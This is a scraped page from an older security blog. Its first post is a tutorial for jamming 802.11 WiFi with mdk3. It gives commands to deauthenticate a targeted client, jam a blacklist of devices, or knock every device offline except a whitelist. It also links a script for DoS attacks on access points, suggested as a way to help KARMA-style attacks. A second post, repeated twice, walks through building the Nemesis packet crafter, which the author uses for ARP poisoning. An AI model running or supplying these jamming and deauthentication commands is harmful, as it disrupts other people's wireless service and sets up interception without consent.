Ok. Infodox BRIEFLY touched upon 802.11 jamming in his talk at CampusCon (their site seems to be down at the moment).
For those interested, the talk can be downloaded here: Insecurety Research
Anyways, onward to "The Good Stuff". I (x41) am simply posting the parts he wrote so far, and when he comes back he says he will finish the job.
Wireless Jamming. Sometimes one wants to disable all 802.11 stuff within range (i.e. WiFi) for some reason (perhaps deauth everyone so a KARMA style attack will work better?) and often this can be a bit of a challenge.
Challenge accepted.
First off, let's get to grips with some software called "mdk3".
MDK3 is a 802.11 flooding tool, and comes preinstalled on BackTrack and several other Pentest distros.
However, let's assume you are running a standard Ubuntu box and have not got it installed... So start by installing aircrack.
apt-get install aircrack-ng (ubuntu)
yum install aircrack-ng (fedora)
...Or, compile from sauce...
http://www.aircrack-ng.org/
Now. MDK3.
http://homepages.tu-darmstadt.de/~p_larbig/wlan/
Grab the source from here, untar, ./configure, make && make install (as root).
Then to run (as root):
PUT CARD INTO MONITOR MODE BEFORE CONTINUING!
sudo airmon-ng start wlan0 (where wlan0 is your wifi card)
mdk3 (arguements)
Some samples... (assumes mon0 is your monitor mode interface)
1. mdk3 mon0 x 1 -c (target client MAC) -t (target AP MAC)
This one simply deauths the victim client. Good for targetted jamming.
2. mdk3 mon0 d -b /root/blacklist
assuming you have a list of MAC addresses you DONT wish to have online, you put em in a list and blacklist em. This jams them.
3. mdk3 mon0" d -w (and the path to your whitelist file)
This kills everyones WiFi EXCEPT the devices in the whitelist.
Now. On to more fun things... Killing AP's.
Introducing "ap fucker".
AP Fucker is a python script that automates these DoS attacks. My preferred mode is "Destruction Mode". For obvious reasons.
Grab AP fucker here.. ApFucker - Pastebin
Running this is very simple. Just sudo bash (must be root), start the interface in monitor mode, and run it.
More to come - this was just an introduction!
A simple Infosec/Security/Computing blog with a smattering of electronics, chemistry, and total randomness
Showing posts with label packet crafting. Show all posts
Showing posts with label packet crafting. Show all posts
Wednesday, 14 March 2012
Thursday, 1 March 2012
Installing Nemesis on Ubuntu/BackTrack
Ok. Simple Post to explain how to go about installing Nemesis on Ubuntu/BackTrack.
What is nemesis?
Nemesis is a packet crafting/sending utility. It, much like hping3, allows you to craft and send packets of a few different protocols. I mainly use it for crafting/sending ARP packets for ARP poisoning, and my tool "arptoxin" uses it.
This post is also available HERE
Step One: Sudo Bash
i.e. you must be root.
Step Two: Install Dependancies
apt-get install libdnet-dev
apt-get install libpcap-dev
Step Three: Install libnet
cd /usr
mkdir nembuild
cd nembuild
wget http://ips-builder.googlecode.com/files/libnet-1.0.2a.tar.gz
tar -xf libnet-1.0.2a.tar.gz
cd Libnet-1.0.2a
./configure
make && make install
Step Four: Install Nemesis
cd /usr/nembuild (if not still there!)
wget http://heanet.dl.sourceforge.net/project/nemesis/nemesis/1.4/nemesis-1.4.tar.gz
tar -xf nemesis-1.4.tar.gz
cd nemesis-1.4
./configure --with-libnet-includes=/usr/nembuild/Libnet-1.0.2a/include --with-libnet-libraries=/usr/nembuild/Libnet-1.0.2a/lib
make && make install
Done! Nemesis SHOULD look like this...
What is nemesis?
Nemesis is a packet crafting/sending utility. It, much like hping3, allows you to craft and send packets of a few different protocols. I mainly use it for crafting/sending ARP packets for ARP poisoning, and my tool "arptoxin" uses it.
This post is also available HERE
Step One: Sudo Bash
i.e. you must be root.
Step Two: Install Dependancies
apt-get install libdnet-dev
apt-get install libpcap-dev
Step Three: Install libnet
cd /usr
mkdir nembuild
cd nembuild
wget http://ips-builder.googlecode.com/files/libnet-1.0.2a.tar.gz
tar -xf libnet-1.0.2a.tar.gz
cd Libnet-1.0.2a
./configure
make && make install
Step Four: Install Nemesis
cd /usr/nembuild (if not still there!)
wget http://heanet.dl.sourceforge.net/project/nemesis/nemesis/1.4/nemesis-1.4.tar.gz
tar -xf nemesis-1.4.tar.gz
cd nemesis-1.4
./configure --with-libnet-includes=/usr/nembuild/Libnet-1.0.2a/include --with-libnet-libraries=/usr/nembuild/Libnet-1.0.2a/lib
make && make install
Done! Nemesis SHOULD look like this...
Subscribe to:
Posts (Atom)
